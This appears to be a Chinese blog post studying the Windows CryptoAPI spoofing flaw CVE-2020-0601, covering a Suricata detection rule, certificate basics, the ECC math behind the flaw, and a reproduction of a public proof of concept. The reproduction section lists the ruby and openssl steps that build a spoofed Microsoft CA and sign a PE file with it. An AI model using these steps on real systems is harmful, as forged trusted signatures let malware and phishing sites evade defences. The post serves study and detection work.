Windows CryptoAPI漏洞(CVE-2020-0601)

起因是随手点了一个Suricata规则。。

漏洞描述

北京时间1月15日微软发布CVE-2020-0601漏洞公告,修补了一个Windows加密库中的关键漏洞,为Windows CryptoAPI欺骗漏洞。攻击者可利用此漏洞对恶意程序签名,从而可能骗过操作系统或安全软件的安全机制。
在CVE-2020-0601漏洞公告发布后第二天,互联网上出现利用该漏洞的POC,这意味着漏洞利用即将到来。
腾讯安全通告中提到三个利用场景 link

  • 构造程序 伪造数字签名
  • 利用漏洞骗取浏览器对拥有伪造证书的网站的信任,如通过伪造类相似域名进行钓鱼攻击,在浏览器识别为”可信”网站下注入恶意脚本。
  • 任意PE文件只要用这个伪造的证书进行签名,都能通过Windows的证书检验。现有安全体系很大程度依赖证书签名,如果通过漏洞伪造签名欺骗系统,成功绕过安全防御及查杀机制,攻击者基本上可以为所欲为了。

影响版本

Windows 10

Suricata规则

alert tcp any any -> any any (msg: "ATTACK [PTsecurity] Suspicious explicitly-defined ECC parameters. Possible CVE-2020-0601 crafted certificate"; flow:established; content:"|06 07 2a 86 48 ce 3d 02 01 30 82|"; content:"|06 07 2a 86 48 ce 3d 01 01 02|"; within:200; reference: cve, 2020-0601; reference: url, github.com/ollypwn/cve-2020-0601; reference: url, github.com/ptresearch/AttackDetection; metadata: Open Ptsecurity.com ruleset; classtype: trojan-activity; sid: 10005695; rev: 1;)

检测特征

06 07 2a 86 48 ce 3d 02 01 30 82
06 07 2a 86 48 ce 3d 01 01 02

简单搜了一下 似乎与证书相关 .cer文件

数字签名与数字证书

简易理解版

http://www.ruanyifeng.com/blog/2011/08/what_is_a_digital_signature.html
数字签名
bob持有公钥 对message进行hash 生成摘要 digest
然后使用私钥 对摘要加密 生成signature
将message+signatur发送
susan收到后使用公钥解密 得到digest 证明来自bob 证明信件未被修改

证书
dog替换了susan持有的bob公钥
susan让bob去CA,为公钥做认证,CA使用了自己的私钥,对Bob公钥等其他信息进行加密,生成数字证书(Digital Certificate)

bob拿到证书 写信给Susan message+signature+digitalcert
susan收到 用CA公钥解开数字证书 得到 bob公钥+个人信息
然后使用bob公钥解密

HTTPS实例

client->服务器 加密请求
服务器->client 使用自己的私钥加密网页,连同本身数字证书一起发送
client 有证书管理器-受信任的根证书颁发机构 根据列表查看解开数字证书的公钥是否在列表内
如果数字证书记载的网址,与你正在浏览的网址不一致,就说明这张证书可能被冒用,浏览器会发出警告。
(即可以解开 但是解开后数字证书记载网址不对 公钥是对的 可以解密响应)

如果这张数字证书不是由受信任的机构颁发的,浏览器会发出另一种警告。

证书格式

X.509证书的结构是用ASN.1(Abstract Syntax Notation One:抽象语法标记)进行描述数据结构,并使用ASN.1语法进行编码。ASN.1结构:自己查阅
https://www.cnblogs.com/jiangzhaowei/p/9346993.html

漏洞原理

-越过ECC-
通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(DigitalCertificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。

攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。

假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G'=Q,从而完成攻击。

//ECDSA
    参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。
    签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。
    对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。
    验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。

https://blog.csdn.net/weixin_43899764/article/details/104029814
windows验证机制-很好理解pics

POC

复现

从CA中抽取公钥,并且利用漏洞

root@ubuntu# ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
报错
main.rb:10:in `<main>': uninitialized constant OpenSSL::PKey::EC::EXPLICIT_CURVE (NameError)

修改main.rb line10
EXPLICIT_CURVE NAMED_CURVE

生成spoofed_ca.key公钥文件
基于此密钥生成一个新的x509证书,这将是我们自己的欺骗性CA

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

生成一个新的key,格式可以根据需要自己选择,这里需要生成一个用于代码签名的证书

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

下一步,生成一个新的证书签名请求(CSR),这个请求通常会发送给受信任的CA,但是因为前面我们生成的假冒的CA,所以这里我们可以自己对他签名

openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

使用仿冒的CA和CA key对CSR签名,这个证书有效期到2047年,而实际上真正的微软CA有效期到2043年

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs```

将仿冒CA和我们生成的key打包保存到一个PKCS12文件,用于PE的签名

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12```
最后,利用前面生成的证书对PE文件签名即可

osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in test-x64.exe -out test_signed.exe

文件区分

key通常指私钥
CSR 是Certificate Signing Request的缩写,即证书签名申请,这不是证书,这是要求CA给证书签名的一种正式申请,该申请包含申请证书的实体的公钥及该实体店某些信息。该数据将成为证书的一部分。CSR始终使用它携带的公钥所对应的私钥进行签名。

CRT 即 certificate的缩写,即证书

TLS:传输层安全协议 Transport Layer Security的缩写

SSL:安全套接字层 Secure Socket Layer的缩写

X.509 是一种证书格式.对X.509证书来说,认证者总是CA或由CA指定的人,一份X.509证书是一些标准字段的集合,这些字段包含有关用户或设备及其相应公钥的信息。
X.509的证书文件,一般以.crt结尾,根据该文件的内容编码格式,可以分为以下二种格式:
PEM - Privacy Enhanced Mail,打开看文本格式,以"-----BEGIN..."开头, "-----END..."结尾,内容是BASE64编码
另一种是二进制格式

Suricata特征

06 07 2a 86 48 ce 3d 02 01 30 82
06 07 2a 86 48 ce 3d 01 01 02
导出crt证书文件 cert.crt
//修改文件权限chmod 777 file
导出为base64编码 可以在windows下导出.cer文件

winhex逛了一圈 没找到
找到的都是06 07 2a 86 48 ce 3d 02 01 06 05未发现特征。。
通过winhex导入模板判断这个特征应该是算法前后的参数

又搜了一圈 x.509中的Sigature参数有对应OID值,用于表示使用哪种加密算法
X.509证书的结构是用ASN.1(Abstract Syntax Notation One:抽象语法标记)进行描述数据结构,并使用ASN.1语法进行编码。
疑似通过BER编码的得到
https://dy.163.com/article/DA53ON9Q0511CJ6O.html

posted @ 2020-06-30 13:33  歇马  阅读(792)  评论(0编辑  收藏  举报